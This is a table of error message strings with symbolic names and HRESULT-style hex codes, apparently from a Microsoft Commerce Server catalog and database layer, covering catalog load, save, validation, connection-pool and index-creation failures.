Failed to get ClsInfo for Catalog. Catalog name: %1, ClsID: %2, SCODE: %3 | MSCOP_E_CatalogGetClsInfoForCatalogFailed | 0xCA34801CL
Failure initializing HStmt in Catalog::Load. SCODE: %1 | MSCOP_E_CatalogHStmtInitializationFailed | 0xCA34802DL
Error: failure in initializing id mgr in resolve -- error code: %1 | MSCOP_E_CatalogIDManagerInitializationFailed | 0xCA348016L
Failure initializing ID Manager in Catalog Load. SCODE: %1 | MSCOP_E_CatalogIDMgrInitializationFailed | 0xCA34802EL
InitTypeDefs(), failed to cast instance, type name: %1 | MSCOP_E_CatalogInitTypeDefsCastFailed | 0xCA348002L
InitTypeDefs(), failed to create instance, type name: %1 | MSCOP_E_CatalogInitTypeDefsCreateInstanceFailed | 0xCA348001L
Failed to create Insert statement for Catalog. Catalog name: %1, Table: %2, SCODE: %3 | MSCOP_E_CatalogInsertStatementCreationFailed | 0xCA34800CL
Insert/Update statement failed for Catalog. Catalog name: %1, Table name: %2, SCODE: %3 | MSCOP_E_CatalogInsertUpdateStatementFailed | 0xCA34800EL
Invalid HStmt passed to Load. SCODE: %1 | MSCOP_E_CatalogInvalidHStmtInLoad | 0xCA34801BL
Invalid Objects list found in Catalog load. Catalog name: %1, SCODE: %2 | MSCOP_E_CatalogInvalidObject | 0xCA34802FL
Invalid Objects list found in Catalog destructor. Catalog name: %1, SCODE: %2 | MSCOP_E_CatalogInvalidObjectListInDestructor | 0xCA348004L
Invalid object marked for delete. Class ID: %1, Display name: %2 | MSCOP_E_CatalogInvalidObjectMarkedForDelete | 0xCA348029L
Invalid Save Objects list found during save. Catalog name:%1 SCODE: %2 | MSCOP_E_CatalogInvalidSaveObjectList | 0xCA348006L
Invalid Strings list found in Catalog destructor. Catalog name: %1, SCODE: %2 | MSCOP_E_CatalogInvalidStringListInDestructor | 0xCA348003L
Catalog not saved due to errors in loading, err count: %1 | MSCOP_E_CatalogNotSaved | 0xCA34800FL
The catalog objects container being read is currently empty. (URL: %1). | MSCOP_E_CatalogObjListEmpty | 0xC8018004L
PopulateObject failed for Catalog. Catalog name: %1, SCODE: %2 | MSCOP_E_CatalogPopulateInstanceFailed | 0xCA348025L
Failed to remove all objects from change list. SCODE: %1 | MSCOP_E_CatalogRemoveAllChangeObjectsFailed | 0xCA34801AL
Failed to remove all objects from save list. SCODE: %1 | MSCOP_E_CatalogRemoveAllSaveObjectsFailed | 0xCA348019L
Rollback Transaction failed for Save. SCODE: %1 | MSCOP_E_CatalogRollbackTransactionFailed | 0xCA348018L
Catalog row has already been committed. No further changes can be made. | MSCOP_E_CatalogRowAlreadyCommitted | 0xC801800BL
SQL statement buffer initialization failed. SCODE: %1 | MSCOP_E_CatalogSQLBufferInitializationFailed | 0xCA34802BL
Not enough memory to allocate buffer for SQL statements. Catalog: %1 | MSCOP_E_CatalogSQLBufferOOM | 0xCA348010L
Begin Transaction failed for Save. Connection string %1, Catalog name: %2, SCODE: %3 | MSCOP_E_CatalogSaveBeginTransactionFailed | 0xCA348012L
Unable to create HStmt for Save. Connection string %1, Catalog name: %2, SCODE: %3 | MSCOP_E_CatalogSaveHStmtCreationFailed | 0xCA348011L
Error applying incremental Catalog change. Doing rollback SCODE: %1 | MSCOP_E_CatalogSaveIncrementalChangeFailed | 0xCA348013L
Rollback Transaction failed for Save. SCODE: %1 | MSCOP_E_CatalogSaveRollbackFailed | 0xCA348014L
Unable to add object marked for Delete to _classesWithDeletesMapByTblDefPtr map. Object Display name: %1, ID: %2, SCODE: %3 | MSCOP_E_CatalogUnableToAddObjectToClassDeleteMap | 0xCA348028L
Unable to add object marked for Delete to _deleteObjectsByMapID map. Object Display name: %1, ID: %2, SCODE: %3 | MSCOP_E_CatalogUnableToAddObjectToDeleteMap | 0xCA348027L
Unable to remove an object marked for Delete from _allObjectsMapByPtr map. Object Display name: %1, ID: %2, SCODE: %3 | MSCOP_E_CatalogUnableToDeleteObjectFromMap | 0xCA348026L
Unable to get Table name for Class. Display name: %1, ClsID: %2, SCODE: %3 | MSCOP_E_CatalogUnableToGetTableNameForClass | 0xCA348008L
Unable to get Table name for Class. ClsID: %1, SCODE: %2 | MSCOP_E_CatalogUnableToGetTableNameForClsID | 0xCA34801DL
Failed to create Update statement for Catalog. Catalog name: %1, Table: %2, SCODE: %3 | MSCOP_E_CatalogUpdateStatementCreationFailed | 0xCA34800DL
ValidateObject failed for Catalog. Catalog name: %1, Class Name: %2, Name: %3, SCODE: %4 | MSCOP_E_CatalogValidateObjectFailed | 0xCA34802AL
Error: Failed to add object to Change list. Object display name: %1, SCODE: %3 | MSCOP_E_ChangeListAdditionFailure | 0xCA3A808CL
Error: Child Class ID column lookup error while processing multi value Member Link table. Table name: %1, Class ID Colum name: %2, SCODE: %3 | MSCOP_E_ChildClsIDColLookupFailureInCLinkTblInfoValidation | 0xCA3A8063L
Error: Child Member ID lookup error while processing multi value Member Link table. Table name: %1, Member ID Colum name: %2, SCODE: %3 | MSCOP_E_ChildMemIDColLookupFailureInCLinkTblInfoValidation | 0xCA3A8064L
ClearResults failed. SCODE: %1 | MSCOP_E_ClearResultsFailure | 0xCA478026L
Error: Failed to initialize ClsKeyDef array in Class: %1, SCODE: %2 | MSCOP_E_ClsDefArrayInitializationFailureInKeyDefValidation | 0xCA3A80C0L
Error: Failed to initialize Parent ClsDef list for View name: %1, Class name: %2, SCODE: %3 | MSCOP_E_ClsDefListInitFailedInViewDefValidation | 0xCA3A807DL
Error: ClsDef lookup error while processing Class Attribute Def. Class name: %1, Attribute name: %2, SCODE: %3 | MSCOP_E_ClsDefLookupErrorInClsAttribValidation | 0xCA3A80F1L
Error: Clsdef lookup error while processing Class Key. Class Key name: %1, Class name: %2, SCODE: %3 | MSCOP_E_ClsDefLookupErrorInKeyDefValidation | 0xCA3A80BDL
Error: ClsDef lookup error while processing Member Attribute Def. Class name: %1, Member name: %2, Attribute name: %3, SCODE: %4 | MSCOP_E_ClsDefLookupErrorInMemAttribValidation | 0xCA3A80F9L
Error: Clsdef lookup error while processing View. View name: %1, Class name: %2, SCODE: %3 | MSCOP_E_ClsDefLookupErrorInViewDefValidation | 0xCA3A807BL
Error: ClsKeyDef Lookup error while processing Key Member. Key Member name: %1, Class Key name: %2, SCODE: %3 | MSCOP_E_ClsDefLookupFailureInKeyMemDefValidation | 0xCA3A80B0L
Error: Class Def lookup error while processing Partition. Partition name: %1, Class name: %2, SCODE: %3 | MSCOP_E_ClsDefLookupFailureInPartitionDefValidation | 0xCA3A809FL
Error: ClsDef Lookup error while processing Relation. Relation name: %1, Parent Class name: %2, SCODE: %3 | MSCOP_E_ClsDefLookupFailureInRelDefValidation | 0xCA3A80D5L
Error: ClsDef lookup error while processing Member name: %1, Class name: %2, SCODE: %3 | MSCOP_E_ClsDefLookupInMemDefValidation | 0xCA3A8032L
Error: CMbClsKeyDef::UpdatePKeyMem, NULL RelDef in Reference Key Member: %1. | MSCOP_E_ClsKeyDefNULLRelDef | 0xCA3480ACL
Error: ClsKeyDef Lookup error while processing Relation name: %1, Class name: %2, Key name: %3, SCODE: %4 | MSCOP_E_ClsKeyLookupFailureInRelDefValidation | 0xCA3A80DBL
CoCreateInstance CLSID_SQLOLEDB failed, hr = %1 | MSCOP_E_CoCreateSQLOLEDBFailed | 0x4A478038L
Error: Column with this name already exists in the Table. Column name: %1, Table name: %2 | MSCOP_E_ColNameExistsInColDefValidation | 0xCA3A806EL
Error: Column lookup error while processing Member. Member name: %1, Class name: %2, Column name: %3, SCODE: %4 | MSCOP_E_ColumnLookupFailureInMemDefValidation | 0xCA3A803BL
Command timeout for IRowsetFastLoad is not valid | MSCOP_E_CommandTimeOutOnIRowsetFastLoad | 0xCA478051L
Cannot commit non-schema change session. | MSCOP_E_CommitFail | 0xCA2D808CL
Commit statement failed for Table:%1. Statement: %2, SCODE: %3 | MSCOP_E_CommitStatementForTableFailed | 0xCA41802DL
Commit transaction failed, hr = %1 | MSCOP_E_CommitTransactionFailed | 0xCA47803EL
Connection pool's alloc connection failed, index = %1, Server: %2, Database: %3 | MSCOP_E_ConnPoolAllocFailed | 0xCA478005L
Connection on idle queue not idle, index = %1, status = %2 | MSCOP_E_ConnPoolConnNotIdle | 0xCA478006L
Connection allocation failed. | MSCOP_E_ConnPoolConnectFailed | 0xCA478003L
Connection pool free statement called with invalid user id. | MSCOP_E_ConnPoolFreeStmtInvalidUserId | 0xCA478008L
Connection pool ran out of %1 connections. | MSCOP_E_ConnPoolNoMoreDbConns | 0xCA478004L
Connection pool, statement initialization failed, index = %1 | MSCOP_E_ConnPoolStmtInitFailed | 0xCA478007L
Connect failed. fastload: %1, Server: %2, DB: %3, UserID:%4, hr: %5 | MSCOP_E_ConnectFailure | 0xCA47800EL
Storage detected errors on this connection with the SQL Server. Data loss has occurred. hr: %1 | MSCOP_E_ConnectionError | 0xCA248011L
CopyToCol(), Error creating safe array(%1) | MSCOP_E_CopyToColCreateSafeArrayFailed | 0xCA348068L
Error: Corrupt RelDef table found in ValidateForDelete. Class name: %1, Status: %2 | MSCOP_E_CorruptRelDefInClsDefDeleteValidate | 0xCA3A808DL
Error: Corrupt RelMemDef table found in View Member validation. View member name: %1, Status: %2 | MSCOP_E_CorruptRelMemDefTableInViewMemValidation | 0xCA3A8102L
Could not enable SE_LOCK_MEMORY privilege. Check local policy. HRESULT: %1 | MSCOP_E_CouldNotSetPrivilege | 0xCA448029L
CreateAccessor failed, hr = %1 | MSCOP_E_CreateAccessorFailed | 0xCA478053L
Failed creating the class view for Class: %1 | MSCOP_E_CreateClassViewFailed | 0xCA418029L
Create class views for class:%1. Statement: %2, SCODE: %3 | MSCOP_E_CreateClassViewStatementFailed | 0xCA41802AL
Error: Create ColDef instance for Child Class Reference Member failed during Relation processing. Relation name: %1, Class name: %2, SCODE: %3 | MSCOP_E_CreateColDefFailedInCreateMem | 0xCA3A80CEL
CreateCommand failed, hr = %1 | MSCOP_E_CreateCommandFailed | 0xCA478040L
Create Foreign Key Index failed for Table:%1. Statement: %2, SCODE: %3 | MSCOP_E_CreateForiegnKeyFailedForTable | 0xCA418027L
Create foreign keys statement failed. Statement: %1, hr: %2 | MSCOP_E_CreateForignKeyStatementFailed | 0xCA41802EL
Failed to create ICommand Connection semaphore. SCODE: %1 | MSCOP_E_CreateICommandSemaphoreFailed | 0xCA478011L
CreateIDIndex(), exception caught | MSCOP_E_CreateIDIndexCatch | 0xCA41801EL
CreateIDIndex(), catch(hr), code: %1 | MSCOP_E_CreateIDIndexCatchHR | 0xCA41801DL
Failed to create IRowsetFastLoad Connection semaphore. SCODE: %1 | MSCOP_E_CreateIRowsetFastLoadSemaphoreFailed | 0xCA478012L
CreateIndex(), exception caught | MSCOP_E_CreateIndexCatch | 0xCA41801CL
CreateIndex(), catch(hr), code: %1 | MSCOP_E_CreateIndexCatchHR | 0xCA41801BL
Error: Create Index failed for Table:%1. Statement: %2, SCODE: %3 | MSCOP_E_CreateIndexForTableFailed | 0xCA418018L
Error: Create MV ClsDef instance failed for generated Cls Def, Mem: %1::%2, SCODE: %3 | MSCOP_E_CreateInstanceForGeneratedMVClsDefFailure | 0xCA3A802BL
Out of memory in Catalog CreateInstance. | MSCOP_E_CreateInstanceOOM | 0xCA348105L
CreateKeyIndex(), exception caught | MSCOP_E_CreateKeyIndexCatch | 0xCA418020L
CreateKeyIndex(), catch(hr), code: %1 | MSCOP_E_CreateKeyIndexCatchHR | 0xCA41801FL
Bytes in Key: %1 exceeds the SQL limit of %2 bytes | MSCOP_E_CreateKeyIndexTooBig | 0xCA418025L
CreateKeyIndex(), Key def with more than %1 persistent members, class: %2, key: %3 | MSCOP_E_CreateKeyIndexTooManyMembers | 0xCA418023L
CreateKeyIndex(), Key Def with zero persistent members, class: %1, key: %2 | MSCOP_E_CreateKeyIndexZeroMembers | 0xCA418022L
CreateTable(), exception caught | MSCOP_E_CreateKeyTableCatch | 0xCA41800DL
CreateTable(), catch(hr), code: %1 | MSCOP_E_CreateKeyTableCatchHR | 0xCA41800CL
CreateLinkIndex(), exception caught | MSCOP_E_CreateLinkIndexCatch | 0xCA41801AL
CreateLinkIndex(), catch(hr), code: %1 | MSCOP_E_CreateLinkIndexCatchHR | 0xCA418019L
Failed creating the partition view for Partition: %1 | MSCOP_E_CreatePartitionViewFailed | 0xCA41802BL
Create partition views for class:%1. Statement: %2, SCODE: %3 | MSCOP_E_CreatePartitionViewStatementFailed | 0xCA41802CL
Error: Create RelMemDef instance for Child Class failed during Relation processing. Relation name: %1, Class name: %2, SCODE: %3 | MSCOP_E_CreateRelMemDefFailedInCreateMem | 0xCA3A80CAL
CreateSession failed, hr = %1 | MSCOP_E_CreateSessionFailed | 0xCA47803FL
Create statement failed for Table:%1. Statement: %2, SCODE: %3 | MSCOP_E_CreateStatementForTableFailed | 0xCA418008L
CreateTable(), exception caught | MSCOP_E_CreateTableCatch | 0xCA41800BL
CreateTable(), catch(hr), code: %1 | MSCOP_E_CreateTableCatchHR | 0xCA41800AL
Error: unable to create default identity mem def, mem: %1::%2 | MSCOP_E_CreationFailureInGenerateIdentity | 0xCA3A8084L
Error: unable to create default InternalFlag mem def, mem: %1::%2 | MSCOP_E_CreationFailureInGenerateInternalFlag | 0xCA3A8086L
Error: unable to create key def, class: %1, key: %2, hr: %3 | MSCOP_E_CreationFailureInGenerateKeyDef | 0xCA3A8087L
Error: unable to create partition, class: %1, partition: %2, source: %3, table: %4 hr: %5 | MSCOP_E_CreationFailureInGeneratePartition | 0xCA3A8089L
Error: unable to create default tbl def, class: %1 hr: %2 | MSCOP_E_CreationFailureInGenerateTblDef | 0xCA3A8088L
The %1 operation cannot be performed because catalog is in an invalid state. Release the current session. | MSCOP_E_CtlgContainsError | 0xC8018007L
%1 Errors found during validation/resolve. Dump skipped. | MSCOP_E_CtlgDumpErrorsFound | 0xCA37800EL
Missing switch type symbol: %1 | MSCOP_E_CtlgFilterMissingSwitchType | 0xCA37800FL
Filter type mismatch for: %1 | MSCOP_E_CtlgFilterTypeMismatch | 0xCA378014L
Unknown member name: %1 | MSCOP_E_CtlgFilterUnknownMember | 0xCA378013L
Unknown member name in Base class: %1 | MSCOP_E_CtlgFilterUnknownMemberInBaseClass | 0xCA378012L
Unknown selector for DatePart: %1 | MSCOP_E_CtlgFilterUnknownSelectorForDatePart | 0xCA378010L
Unknown selector for UriPart: %1 | MSCOP_E_CtlgFilterUnknownSelectorForURIPart | 0xCA378011L
CtlgClsHandler::OnInst(), error in getting/setting values, cls:%1, line#, mem: %2 | MSCOP_E_CtlgHandlerErrorGettingSettingValues | 0xCA378018L
CtlgClsHandler::OnCreate(), error from GetMemInfoByColName(), hr: %1, cls: %2 %3, mem: %4 | MSCOP_E_CtlgHandlerGetMemInfoByColNameError | 0xCA378016L
CtlgClsHandler::OnInst(), handler info mismatch parser class def, cls:%1, line#: %2 | MSCOP_E_CtlgHandlerMismatch | 0xCA378017L
CtlgClsHandler::OnCreate(), ignoring unknown member in parser class def, cls: %1 %2, mem: %3 | MSCOP_E_CtlgHandlerUnknownMember | 0xCA378015L
Not enough memory to allocate new DB Connection pool property object. | MSCOP_E_DBConnectionPoolPropertyObjectOOM | 0xCA478016L
Failed to allocate DBPARAMBINDINFO array | MSCOP_E_DBPARAMBINDINFOEOM | 0xCA478045L
Error: Dash character found in Column name: %1. Stored procedure parameters cannot contain dashes. | MSCOP_E_DashInColNameInColDefValidation | 0xCA3A8111L
A database name was not specified in the connection string | MSCOP_E_DatabaseRequired | 0xCA47805AL
Datasource SetProperties failed, hr = %1 | MSCOP_E_DatasourceSetPropertiesFailed | 0xCA47803BL
Connection pool initialization failed. | MSCOP_E_DbConnPoolInitFailed | 0xCA47800BL
Default connection string lookup failed. | MSCOP_E_DefaultConnectionStringLookupFailed | 0xCA478013L
Drop Stored Procedure failed for Procedure:%1. Statement: %2, SCODE: %3 | MSCOP_E_DropStoredProcedureFailed | 0xCA41800FL
Drop Table statement failed for Table:%1. Statement: %2, SCODE: %3 | MSCOP_E_DropTableFailed | 0xCA418010L
HRESULT: %1, Description: %2 | MSCOP_E_DumpDefaultMessage | 0xCA47801CL
SQL Error: %1, Description: %2 | MSCOP_E_DumpSQLError | 0xCA47801AL
Error: Table with this name already exists in the Catalog. Table name: %1 | MSCOP_E_DuplicatTableNameInTblDefValidation | 0xCA3A8074L
Error: Duplicate classes named in RelDef %1. Parent: %2, Child: %3 | MSCOP_E_DuplicateClassesInRelDefs | 0xCA3A8112L
Error: Class with this name already exists in the Catalog. Class name: %1 | MSCOP_E_DuplicateClsDefInClsDefValidation | 0xCA3A8093L
Error: Key Member already exists in Class Key. Class name: %1, Class Key name: %2, Member name: %3 | MSCOP_E_DuplicateKeyMemDefInKeyMemDefValidation | 0xCA3A80B2L
Error: Member Def with this name already exists in the Class. Class name: %1, Member name: %2 | MSCOP_E_DuplicateMemDefInMemDefValidation | 0xCA3A8033L
Error: Partition with this name already exists in the Catalog. Partition name: %1 | MSCOP_E_DuplicatePartitionNameInPartitionDefValidation | 0xCA3A809BL
Error: Relation with this name already exists in the Catalog. Relation name: %1 | MSCOP_E_DuplicateRelNameInRelDefValidation | 0xCA3A80D7L
Error: Source Def with this name already exists in the Catalog. Source name: %1 | MSCOP_E_DuplicateSourceDefInSourceDefValidation | 0xCA3A80A9L
Error: Type Def with this name already exists in the Catalog map. TypeDef name: %1 | MSCOP_E_DuplicateTypeName | 0xCA3A8025L
Error: Value Table Info lookup failure. Link Table name: %1, SCODE: %2 | MSCOP_E_DuplicateValTblInfoNameInCValTblInfoValidation | 0xCA3A8050L
Error: View Member already exists in View. Member name: %1, Class name: %2, View name: %3 | MSCOP_E_DuplicateViewMemDefInViewMemValidation | 0xCA3A8100L
Error: View with this name already exists in the Catalog. View name: %1 | MSCOP_E_DuplicateViewNameInViewDefValidation | 0xCA3A807CL
Enable IRowsetFastLoad failed, hr = %1 | MSCOP_E_EnableIRowsetFastLoadFailed | 0xCA47803DL
Only '=' operator valid in the WHERE clause when loading single rows. | MSCOP_E_EqualOperatorOnly | 0xC8018002L
Error in CProcessingClass::GenerateDBSaveJob. hr: %1 | MSCOP_E_ErrInGenerateSaveJob | 0xCA1A802FL
Error converting default value for Member %1 in Class %2 (Default Value=%3, EType=%4, hr=%5) | MSCOP_E_ErrorConvertingDefaultValueInMemDefValidation | 0xCA3A8049L
Error parsing the key member name for URL '%1'. Command syntax is 'KeyMember/<Key-Name>/<Key-Member-Name>'. | MSCOP_E_ErrorParseKeyMemName | 0xC8018005L
Cannot execute commands on fastload connections. | MSCOP_E_ExecuteOnIRowsetFastLoad | 0xCA478048L
Execute with Parameters failed on Exec call SCODE: %1 | MSCOP_E_ExecuteWithParmsFailed | 0xCA478047L
Error: Failed allocating Relation Member array while Validating new Child Class Reference Member. Relation name: %1, Reference Member name: %2 | MSCOP_E_FailedAllocatingRelMemArrayInRelMemDefValidation | 0xCA3A80E8L
Error: Failed while adding Relation Member to Child Member. Relation name: %1, Member name: %2, SCODE: %3 | MSCOP_E_FailureAddingToChildRelMemArrayInRelMemDefValidation | 0xCA3A80E9L
Error: Failed adding Attribute object to Class Attribute list: Attribute name: %1, Class name: %2, SCODE: %3 | MSCOP_E_FailureAddingToClsAttribListInClsAttribValidation | 0xCA3A80F2L
Error: Failed adding ClsDef object to Catalog clsDefMapByID map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToClsDefMapByIDClsDefInClsDefValidation | 0xCA3A8094L
Error: Failed adding KeyMem object to ClsKey persistent Member list: %1, Object name: %2, SCODE: %3 | MSCOP_E_FailureAddingToClsDefPKArrayInKeyMemDefValidation | 0xCA3A80B7L
Error: Failed adding ClsDef object to Catalog clsDefsByName map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToClsDefsByNameInClsDefValidation | 0xCA3A8095L
Error: Failed adding ClsDef object to Catalog clsDefList list: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToClsDefsListInClsDefValidation | 0xCA3A8096L
Error: Failed adding ClsKeyDef object to Catalog clsKeyDefMapByID map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToClsKeyDefMapByIDInKeyDefValidation | 0xCA3A80BEL
Error: Failed adding ClsKeyDef object to Catalog clsKeyDefsByName map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToClsKeyDefMapByNameInKeyDefValidation | 0xCA3A80BFL
Error: Failed adding ClsKeyDef object to Catalog clsKeyDefs list: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToClsKeyDefsInKeyDefValidation | 0xCA3A80C1L
Error: Failed adding KeyMem object to Catalog clsKeyMemsByClsKeyIDandKeyMemName list: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToClsKeyMemsByClsKeyIDandKeyMemNameInKeyMemDefValidation | 0xCA3A80B8L
Error: Failed adding ColDef object to Catalog colDefMapByID map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToColDefMapByIDInColDefValidation | 0xCA3A806FL
Error: Failed adding ColDef object to Catalog _colDefsByTblIDAndColName map:Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToColDefsByTblIDAndColNameInColDefValidation | 0xCA3A8071L
Error: Failed adding ColDef object to Table _colDefs list: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToColDefsInColDefValidation | 0xCA3A8070L
Error: Failed adding Parent ClsDef object to Child ClsDef Direct Parent list: Object name: %1, Parent Class name: %2, Child Class name: %3, SCODE: %4 | MSCOP_E_FailureAddingToDirectParentListInRelDefValidation | 0xCA3A80E0L
Error: Failed while adding Relation to Full Relation Definition list. Relation name: %1, SCODE: %2 | MSCOP_E_FailureAddingToFullRelDefListInRelDefValidation | 0xCA3A8108L
Error: Failed while adding Relation Member to Full Relation Definition array. Relation name: %1, Child Member name: %2, SCODE: %3 | MSCOP_E_FailureAddingToFullRelDefListInRelMemDefValidation | 0xCA3A8107L
Error: Failed adding GroupMem object to Catalog groupMemMapByID map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToGroupMemMapByIDInCGroupMemValidation | 0xCA3A8068L
Error: Failed adding IndexDef object to Catalog indexDefMapByID map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToIndexDefMapByIDInIndexValidation | 0xCA3A80C7L
Error: Failed adding IndexMem object to Catalog indexMemMapByID map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToIndexMemMapByIDInIndexMemValidation | 0xCA3A80EEL
Error: Failed adding KeyMem object to Key Def Member list: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToKeyDefMemListInKeyMemDefValidation | 0xCA3A80B6L
Error: Failed adding KeyMem object to Catalog KeyMemMapByID map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToKeyMemMapByIDInKeyMemDefValidation | 0xCA3A80B5L
Error: Failed adding Attribute object to Member Attribute list: Attribute name: %1, Class name: %2, SCODE: %3 | MSCOP_E_FailureAddingToMemAttribInMemAttribValidation | 0xCA3A80FBL
Error: Failed while adding Member to ClsDef Member list. Member name: %1, Class Name: %2, SCODE: %3 | MSCOP_E_FailureAddingToMemDefToClsDefListInMemDefValidation | 0xCA3A803FL
Error: Failed adding MemDef MemDefsByClsIDAndMemName object to Catalog list, Member name: %1, Class name: %2 SCODE: %3 | MSCOP_E_FailureAddingToMemDefToMemDefsByClsIDAndMemNameListInMemDefValidation | 0xCA3A8040L
Error: Failed adding MemDef object to Catalog MemDefMapByID map, Member name: %1, Class name: %2, SCODE: %3 | MSCOP_E_FailureAddingToMemDefToMemDefsMapByIDMapInMemDefValidation | 0xCA3A8042L
Error: Failed adding MemDef object to Catalog MultiValueMemDefsByClsIDAndMemName list, Member name: %1, Class name: %2, SCODE: %3 | MSCOP_E_FailureAddingToMemDefToMultiValueMemDefsByClsIDAndMemNameInMemDefValidation | 0xCA3A8043L
Error: Failed adding MemDef object to Catalog memDefsByClsIDAndMemName map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToMemDefsByClsIDAndMemNameInCreateMem | 0xCA3A80D1L
Error: Failed to add Member to ViewDef multi value member list. Member name: %1, View name: %2, SCODE: %3 | MSCOP_E_FailureAddingToMultiValMemDefListInViewMemValidation | 0xCA3A8104L
Error: adding partition def to global partition list failed, Partition name: %1, Source name: %2, SCODE: %3 | MSCOP_E_FailureAddingToPartitionDefListInPartitionDefValidation | 0xCA3A80A2L
Error: Failed adding PartitionDef object to Catalog partitionDefMapByID map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToPartitionDefMapByIDInPartitionDefValidation | 0xCA3A80A0L
Error: Failed adding PartitionDef object to Catalog partitionDefsByName map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToPartitionDefsByNameInPartitionDefValidation | 0xCA3A80A1L
Error: Failed adding PartitionPolicyDef object to Catalog partitionPolicyDefMapByID map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToPartitionPolicyDefMapByIDInPartitionPolicyDefValidation | 0xCA3A80A5L
Error: Failed adding Parent ClsDef object to Child ClsDef Direct Physical Parent list:Object name: %1, Parent Class name: %2, Child Class name: %3, SCODE: %4 | MSCOP_E_FailureAddingToPhysicalParentListInRelDefValidation | 0xCA3A80E1L
Error: Failed adding RelDef object to Catalog relDefList list:Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToRelDefListInRelDefValidation | 0xCA3A80DFL
Error: Failed while adding Relation Member to Relation Definition array. Relation name: %1, Child Member name: %2, SCODE: %3 | MSCOP_E_FailureAddingToRelDefListInRelMemDefValidation | 0xCA3A80EAL
Error: Failed adding RelDef object to Catalog relDefMapByID map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToRelDefsByIDInRelDefValidation | 0xCA3A80DEL
Error: Failed while adding Relation to Catalog relDefsByName map. Relation name: %1, SCODE: %2 | MSCOP_E_FailureAddingToRelDefsByNameInRelDefValidation | 0xCA3A80DDL
Error: Failed adding RelMemDef object to Catalog relMemDefMapByID map: Object Names: %1, %2, %3, SCODE: %3 | MSCOP_E_FailureAddingToRelMemDefMapByIDInRelMemDefValidation | 0xCA3A80EBL
Error: Failed to add Member to ViewDef single value member list. Member name: %1, View name: %2, SCODE: %3 | MSCOP_E_FailureAddingToSingleValMemDefListInViewMemValidation | 0xCA3A8105L
Error: Failed adding SourceDef object to Catalog srcDefList list: Object name: %1, SCODE: %3 | MSCOP_E_FailureAddingToSouceDefListInSourceDefValidation | 0xCA3A80ACL
Error: Failed adding SourceDef object to Catalog sourceDefMapByID map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToSouceDefMapByIDInSourceDefValidation | 0xCA3A80AAL
Error: Failed adding SourceDef object to Catalog srcDefsByName map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToSouceDefMapByNameInSourceDefValidation | 0xCA3A80ABL
Error: Failed adding Attribute object to Source Attribute list: Attribute name: %1, SCODE: %2 | MSCOP_E_FailureAddingToSrcAttribInSrcAttribValidation | 0xCA3A80F6L
Error: adding table to Catalog Table Def list. Table name: %1, SCODE: %2 | MSCOP_E_FailureAddingToTblDefListInTblDefValidation | 0xCA3A8077L
Error: Failed adding TblDef object to Catalog tblDefMapByID map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToTblDefMapByIDInTblDefValidation | 0xCA3A8075L
Error: Failed adding TblDef object to Catalog tblDefsByName map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToTblDefMapByNameInTblDefValidation | 0xCA3A8076L
Error: Failed adding ValTblInfo object to Catalog valTblInfoMapByID map: %1, Object name: %2, SCODE: %3 | MSCOP_E_FailureAddingToValTblInfoToValTableInfosByIDInCValTblInfoValidation | 0xCA3A8057L
Error: Failed adding ValTblInfo object to Catalog valTableInfosByName map: %1, Object name: %2, SCODE: %3 | MSCOP_E_FailureAddingToValTblInfoToValTableInfosByNameInCValTblInfoValidation | 0xCA3A8056L
Error: Failed adding ValTblInfo object to Catalog valTblInfo list, Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToValTblInfoToValTableInfosInCValTblInfoValidation | 0xCA3A8058L
Error: Failed to add Member to ViewDef member list. Member name: %1, View name: %2, SCODE: %3 | MSCOP_E_FailureAddingToViewDefListInViewMemValidation | 0xCA3A8103L
Error: Failed adding ViewDef object to Catalog viewDefMapByID map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToViewDefsByIDInViewDefValidation | 0xCA3A8082L
Error: Failed adding ViewDef object to Catalog viewDefsByName map: Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingToViewDefsByNameInViewDefValidation | 0xCA3A8081L
Error: Failed adding ViewMem object to Catalog viewMemsByViewIDAndMemName list: Member name: %1, Class name: %2, View name: %3, SCODE: %4 | MSCOP_E_FailureAddingToViewMemsByViewIDAndMemNameInViewMemValidation | 0xCA3A8106L
Error: Failed while adding View to Class. View name: %1, Class Name: %2, SCODE: %3 | MSCOP_E_FailureAddingToViewToClassInViewDefValidation | 0xCA3A8080L
Error: Failed adding LinkTblInfo object to Catalog linkTableInfosByName map. Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingTolinkTableInfosByNameInCLinkTblInfoValidation | 0xCA3A8066L
Error: Failed adding LinkTblInfo object to Catalog linkTblInfoList list. Object name: %1, SCODE: %2 | MSCOP_E_FailureAddingTolinkTblInfoListInCLinkTblInfoValidation | 0xCA3A8067L
Error: Failed adding LinkTblInfo object to Catalog _linkTblInfoMapByID map. Object name: %1, SCODE: %3 | MSCOP_E_FailureAddingTolinkTblInfoMapByIDInCLinkTblInfoValidation | 0xCA3A8065L
FreeUserPhysicalPages failed. HRESULT: %1 | MSCOP_E_FreeUserPhysicalPagesFailure | 0xCA448030L
